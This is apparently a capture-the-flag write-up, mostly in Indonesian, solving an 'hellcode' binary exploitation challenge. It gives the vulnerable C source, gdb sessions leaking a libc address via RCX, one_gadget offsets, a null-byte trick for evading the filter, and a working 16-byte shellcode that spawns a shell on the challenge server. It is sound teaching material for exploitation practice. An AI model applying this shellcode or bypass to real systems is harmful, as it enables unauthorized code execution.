**Summary** : Build a 16 bytes shellcode to gain shell. Using leaked LIBC address from RCX and ~~jump~~ return to address provided by one_gadget.
**Language** : ID ![](https://ctftime.org/static/images/f/id.png) | EN (soon™)
```C#include <stdbool.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h> void code_runner(){    char tmp_code[18];    char *code;    bool executing = false;     printf("Please enter your code: ");    fflush(stdout);     fgets(tmp_code, 17, stdin);     char *end = strchr(tmp_code, '\n');    if (end == NULL) end = &tmp_code[16];    *end = '\0';    int len = end - tmp_code;     /* NO KERNEL FUNCS */    if (strstr(tmp_code, "\xcd\x80") || strstr(tmp_code, "\x0f\x34") || strstr(tmp_code, "\x0f\x05"))    {        printf("Nice try, but syscalls aren't permitted\n");        return;    }     /* NO CALLS TO DYNAMIC ADDRESSES */    if (strstr(tmp_code, "\xff"))    {        printf("Nice try, but dynamic calls aren't permitted\n");        return;    }     code = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);    memcpy(code, tmp_code, len);    code[len] = 0xc3;     mprotect(code, 4096, PROT_READ|PROT_EXEC);    if (executing == true)    {        printf("ROP chain detected!\n");        munmap(code, 4096);        exit(-1);    }     void (*func)() = (void (*)())code;    executing = true;    func();     munmap(code, 4096);} int main(int argc, char **argv){    gid_t gid = getegid();    setresgid(gid,gid,gid);     printf("Welcome to the Executor\n");    code_runner();     return 0;}```---**Tantangannya**: tidak menggunakan `int 80`, `syscall`, `sysenter`, `dynamic calls`, `rop chain ke code_runner()`. 
Terlepas dari itu semua, cek bisa  _dibypass_ dengan memberikan null byte `\x00` pada awal string input, ini karena libc `strstr` berhenti pada null byte. Sebelum memikirkan hal yang lebih jauh ke shellcode yang dipakai, debug dulu dengan gdb. Break saat shellcode akan dipanggil.```(gdb) disassemble code_runner...   0x0000000000400b30 <+410>:   mov    rax,QWORD PTR [rbp-0x30]   0x0000000000400b34 <+414>:   mov    QWORD PTR [rbp-0x28],rax   0x0000000000400b38 <+418>:   mov    BYTE PTR [rbp-0x3d],0x1   0x0000000000400b3c <+422>:   mov    rdx,QWORD PTR [rbp-0x28]   0x0000000000400b40 <+426>:   mov    eax,0x0   0x0000000000400b45 <+431>:   call   rdx...(gdb) b *0x0000000000400b45(gdb) i rrax            0x0      0rbx            0x0      0rcx            0x7f759e30f777   140143141910391rdx            0x7f759e7fc000   140143147073536rsi            0x1000   4096...(gdb) x/i $rcx   0x7f759e30f777 <mprotect+7>: cmp    rax,0xfffffffffffff001```_Boom_, disini ada `RCX` yang bisa dipakai untuk leak address libc. Info `RCX` yang didapat ini bisa digunakan untuk one_gadget dan _drop_ ke shell.Libc bisa diambil dari ssh ke lokal (laptop/desktop), lalu arahkan `one_gadget` ke libcnya.```λ › one_gadget ./libc.so.60x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL```Yep, karena nilai `RAX` saat memanggil shellcode adalah `NULL`, alamat `0x45216` bisa dipakai sebagai gadget.
---Kalkulasi libc base address,```(gdb) info proc mappingsprocess 26539Mapped address spaces:
          Start Addr           End Addr       Size     Offset objfile            0x400000           0x401000     0x1000        0x0 /problems/hellcode/hellcode            0x601000           0x602000     0x1000     0x1000 /problems/hellcode/hellcode            0x602000           0x603000     0x1000     0x2000 /problems/hellcode/hellcode           0x11d7000          0x11f8000    0x21000        0x0 [heap]      0x7f759e20e000     0x7f759e3ce000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so      0x7f759e3ce000     0x7f759e5ce000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so      0x7f759e5ce000     0x7f759e5d2000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so      0x7f759e5d2000     0x7f759e5d4000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so      0x7f759e5d4000     0x7f759e5d8000     0x4000        0x0      0x7f759e5d8000     0x7f759e5fe000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so      0x7f759e7f0000     0x7f759e7f3000     0x3000        0x0      0x7f759e7fc000     0x7f759e7fd000     0x1000        0x0      0x7f759e7fd000     0x7f759e7fe000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so      0x7f759e7fe000     0x7f759e7ff000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so      0x7f759e7ff000     0x7f759e800000     0x1000        0x0      0x7ffc50dd1000     0x7ffc50df2000    0x21000        0x0 [stack]      0x7ffc50dfa000     0x7ffc50dfd000     0x3000        0x0 [vvar]      0x7ffc50dfd000     0x7ffc50dff000     0x2000        0x0 [vdso]  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]```
`LIBC` = `0x7f759e20e000`
`RCX` =  `0x7f759e30f777`
`ONE_GADGET_RELATIVE_OFFSET` = `RCX - (LIBC + 0x45216)`
`ONE_GADGET_RELATIVE_OFFSET` = `RCX - 0xbc561`
---
**Shellcode**, Ada beberapa cara untuk mencapai alamat offset one_gadget, tapi yang digunakan adalah dengan _membuat 'stack pivot' dan menaruh offset one_gadget pada stack tersebut **sehingga** saat instruksi_ `ret` _langsung 'loncat' ke alamat offset one_gadget_.```asmsub rcx, 0xbc561add rsp, 0x48mov qword [rsp], rcxret```
```λ › rasm2 -b 64 'sub rcx, 0xbc561;add rsp, 0x48;mov qword [rsp], rcx;ret'4881e961c50b004883c44848890c24c3λ › echo -n '4881e961c50b004883c44848890c24c3' | wc -c32```Beruntungnya, shellcode tidak melebihi batas 16 bytes. Coba debug dulu shellcode dengan gdb,```(gdb) x/i $rip=> 0x7f759e7fc00b:      mov qword [rsp], rcx...(gdb) x/i $rip=> 0x7f759e7fc00f:      ret(gdb) x/gx $rsp0x7ffc50def820: 0x00007f759e253216 # <-- one_gadget offset.(gdb) cContinuing.process 26539 is executing new program: /bin/dash```Yep, berhasil. Langsung test pada server,```team297054@shell:/problems/hellcode$ (python2 -c 'print "4881e961c50b004883c44848890c24c3".decode("hex")'; cat -)|./hellcodeWelcome to the ExecutorPlease enter your code: lsflag  hellcodecat flagactf{a_secure_code_invoker_is_oxymoronic}```
---
__FLAG :__ `actf{a_secure_code_invoker_is_oxymoronic}`